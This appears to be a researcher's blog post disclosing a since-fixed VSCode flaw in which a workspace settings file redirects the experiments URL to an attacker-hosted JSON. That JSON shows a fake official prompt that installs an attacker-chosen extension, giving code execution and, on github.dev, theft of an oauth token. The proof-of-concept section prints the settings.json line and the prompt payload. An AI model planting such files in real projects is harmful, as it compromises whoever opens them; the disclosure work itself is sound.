VSCode Remote Code Execution advisory

Reading time ~8 minutes

tl;dr I found a remote code execution bug in VSCode that can be triggered from untrusted workspaces. Microsoft fixed it but marked it as moderate severity and ineligible under their bug bounty program. Scroll to the proof-of-concept section if you want to skip the details.

Background

Around two months ago, I was researching github.dev, a lightweight web based editor for Github that uses vscode in the browser. I had gotten really into Github’s bug bounty program and vscode seemed like a fairly large attack surface to take a look at. During this time of digging around github.dev, I decided to take a look at bugs in vscode itself.

For those unfamiliar, vscode has a feature called Workspace Trust. When you open a folder, vscode will prompt you asking if you trust the authors of the files you are viewing. If you say no, vscode goes ahead and disables many of its features that could allow the workspace to cause automatic code execution.

This includes things like tasks because an attacker could just make a task that executes a command with the runOn setting set to folderOpen. Extensions get disabled unless the authors have explicitly marked their extension as being able to handle untrusted workspaces.

One other thing that gets disabled is workspace settings. Folders can specify settings specific to them in a .vscode/settings.json file. Just from looking in the wild, this can be used to control things like:

However, these settings could potentially be dangerous. Consider for example, the typescript.npm setting, which controls the location of the npm executable. This controls an executable path therefore untrusted workspaces shouldn’t be allowed to set it. Extensions that mark themselves as capable of running in untrusted workspaces hence have to declare a restrictedConfigurations field. This controls settings that can’t be set at the workspace level.

This got me to thinking, since vscode itself has built-in settings like editor.fontFamily, how are those handled in untrusted workspaces?

It turns out, the core of vscode itself uses a .registerConfiguration method where you have to explicitly pass 'restricted': true in order to make a property not settable in an untrusted workspace.

Unlike the API for extensions, when vscode needs to retrieve the value of a setting it generally uses configurationService.getValue('settings.key'). The settings.key here doesn’t necessarily need to have been declared as part of registerConfiguration or in an extension’s declared settings. This got me to perform a search for all uses of configurationService.getValue in vscode and I found…

The Bug: An undocumented setting

Just like any other tech company, Microsoft loves their A/B experiments and has chosen to put them in vscode as well.

When I was searching for uses of configuration I stumbled upon this line:

const experimentsUrl = this.configurationService
    .getValue<string>('_workbench.experimentsUrl') || this.productService.experimentsUrl;

inside of experimentService.ts

This setting controls the url that vscode would fetch experiments from. Experiments usually need code to run so this seemed like a good avenue. I declared the setting in a .vsocde/settings.json file and got the following:

Looks like the setting was completely unregistered and hence was not marked as restricted! This meant that I could set it in an untrusted workspace. It was time to dive deeper on what vscode experiments could actually do.

I took a look at the default experiments url https://vscodeexperiments.azureedge.net/experiments/vscode-experiments.json and here is one of the example experiments:

{
    "id": "copeet.jsDebugNodeInsiderPrompt",
    "enabled": true,
    "schemaVersion": 3,
    "condition": {
        "insidersOnly": true,
        ...
        "activationEvent": {
            "event": "onDebugResolve:node",
            "minEvents": 3
        }
    },
    "action2": {
    "type": "Prompt",
    "properties": {
        "promptText": "We're working on a new JavaScript debugger for VS Code. Would you like to try it out the next time you debug your program?",
        "commands": [
        {
            "text": "No Thanks"
        },
        {
            "text": "Enable",
            "codeCommand": {
                "id": "extension.js-debug.experimentEnlist",
                "arguments": []
            }
        }
        ]
    }
    }
}

This experiment means that if a user is on the insider build of vscode and debugs node.js more than 3 times, a prompt shows up asking them to enlist in an experimental javascript debugger.

For reference, this is what it looks like when the experiment prompt shows up:

If they click Enable on the prompt, it issues the extension.js-debug.experimentEnlist command which presumably the javascript extension has declared and enlists them for the experiment.

This codeCommand was going to be our vector. codeCommand is a way to execute commands in vscode, this includes things like git.stage which asks the git extension to stage a file.

The attacker fully controls the prompt, its text and what command it issues. We could now make an official looking prompt show up and when dismissed, make it run arbitrary code.

Proof-of-Concept

An attacker can host an experiments.json on a website, you can find the one I used on gist.github.com here.

They can create a .vscode/settings.json file that contains

{
    "_workbench.experimentsUrl": "https://gist.githubusercontent.com/ammaraskar/56b474d89fc1405582cf54aa34082b5a/raw/vscode-experiments2.json"
}

and with the experiments file containing a malicious payload such as this:

{
    "experiments": [
      {
        "id": "ammar2.test.experiment14",
        "enabled": true,
        "schemaVersion": 5,
        "action2": {
          "type": "Prompt",
          "properties": {
            "promptText": "[Welcome to VS Code. ...](command:workbench.extensions.installExtension?ms-vscode.hexeditor '.')",
            "commands": [
              {
                "text": "Continue",
                "codeCommand": {
                  "id": "workbench.extensions.installExtension",
                  "arguments": ["ms-vscode.hexeditor"]
                }
              }
            ]
          }
        }
      }
    ]
}

The interesting things here are that the attacker fully controls the prompt text, they can make it look like a benign pop-up saying that vscode successfully updated or anything that will make the user click it.

Since markdown is supported in these pop-ups, they can also make the body of the text be clickable and perform a vscode command. All buttons are also controlled, so they could make both a “No Thanks” and “Yes” button both perform the attack.

When the victim opens the folder they are met with an official looking prompt from vscode like this:

And if they click the body of the text or “Continue”, it installs an attacker controlled extension.

This is an RCE because an extension in vscode has full access to the node.js api, it can simply use child_process to execute commands. An attacker can publish an extension with such functionality and have it do so at install time.

Additional impact

While remote-code execution after opening a folder in vscode is bad enough, this gets a lot worse when you consider github.dev

This is a web vscode instance with a fairly generous repo scoped oauth token preloaded into it automatically by Github. If an attacker gets code-execution on github.dev, they can steal your oauth token. This lets them read all your repos, push to them on your behalf, change their settings etc.

Timeline

Thank you for taking the time to share your report. Based on the assessment from our engineering team, we have determined that your case 78793 is not eligible for an award under the Microsoft Bounty Programs. Your case may still be eligible for earning points under the MSRC Recognition Program.

Your case 78793 was assessed as follows:

Severity: Moderate  Security Impact: Spoofing 

Thank you again for your submission! This report was marked as out of scope as the issue was assessed as having a moderate severity impact. Only cases assessed as important or critical are eligible for bounty.

Suffice it to say, this is not the response I wanted to see after they took 2 months to triage a remote code execution bug. A severity of moderate and an impact of spoofing dumbfounds me and hence I am making this disclosure public. The impact should be low as a new vscode release should be out on May 31.

Microsoft security and vscode

I am hardly the first person to be alarmed by Microsoft’s handling of vscode bugs. I do not know if this is caused by the vscode team not taking security seriously or poor communication between MSRC and the vscode team but something clearly needs improvement here.


Microsoft also has a policy whereby bugs in extensions are ineligible for bug bounties.

  • Vulnerabilities that rely on VSCode extensions

This makes sense but for some reason they consider bugs even in first party extensions that they literally ship in vscode out of scope as well. Bugs such as

  • A command injection bug found in the in-built git extension by SonarSource was considered ineligible by Microsoft.
  • Justin Steven’s xss bug in the built-in Jupyter Notebook extension was considered ineligible by Microsoft. You can read more about Steven’s misgivings with MSRC on their twitter thread here.
  • Another bug I found in the first party Github Repositories extension that would have allowed an attacker to steal your private repos by just having you click a link to github.com (I may write a follow-up blog post about this)

In the future, I am going with the public disclosure route for any vscode related bugs I find. I would encourage other security researchers to do the same until there is some improvement.

Working with MSRC on any vscode related security bugs has been dreadful. I hope someone from Microsoft security sees this and explains what happened and tries to make it right but I am certainly not holding out for it.

Hacking a Roku TV to Control Lights

This is a rather large blog post consisting of multiple sections from some quickbackground information about the problem to an in-depth d...… Continue reading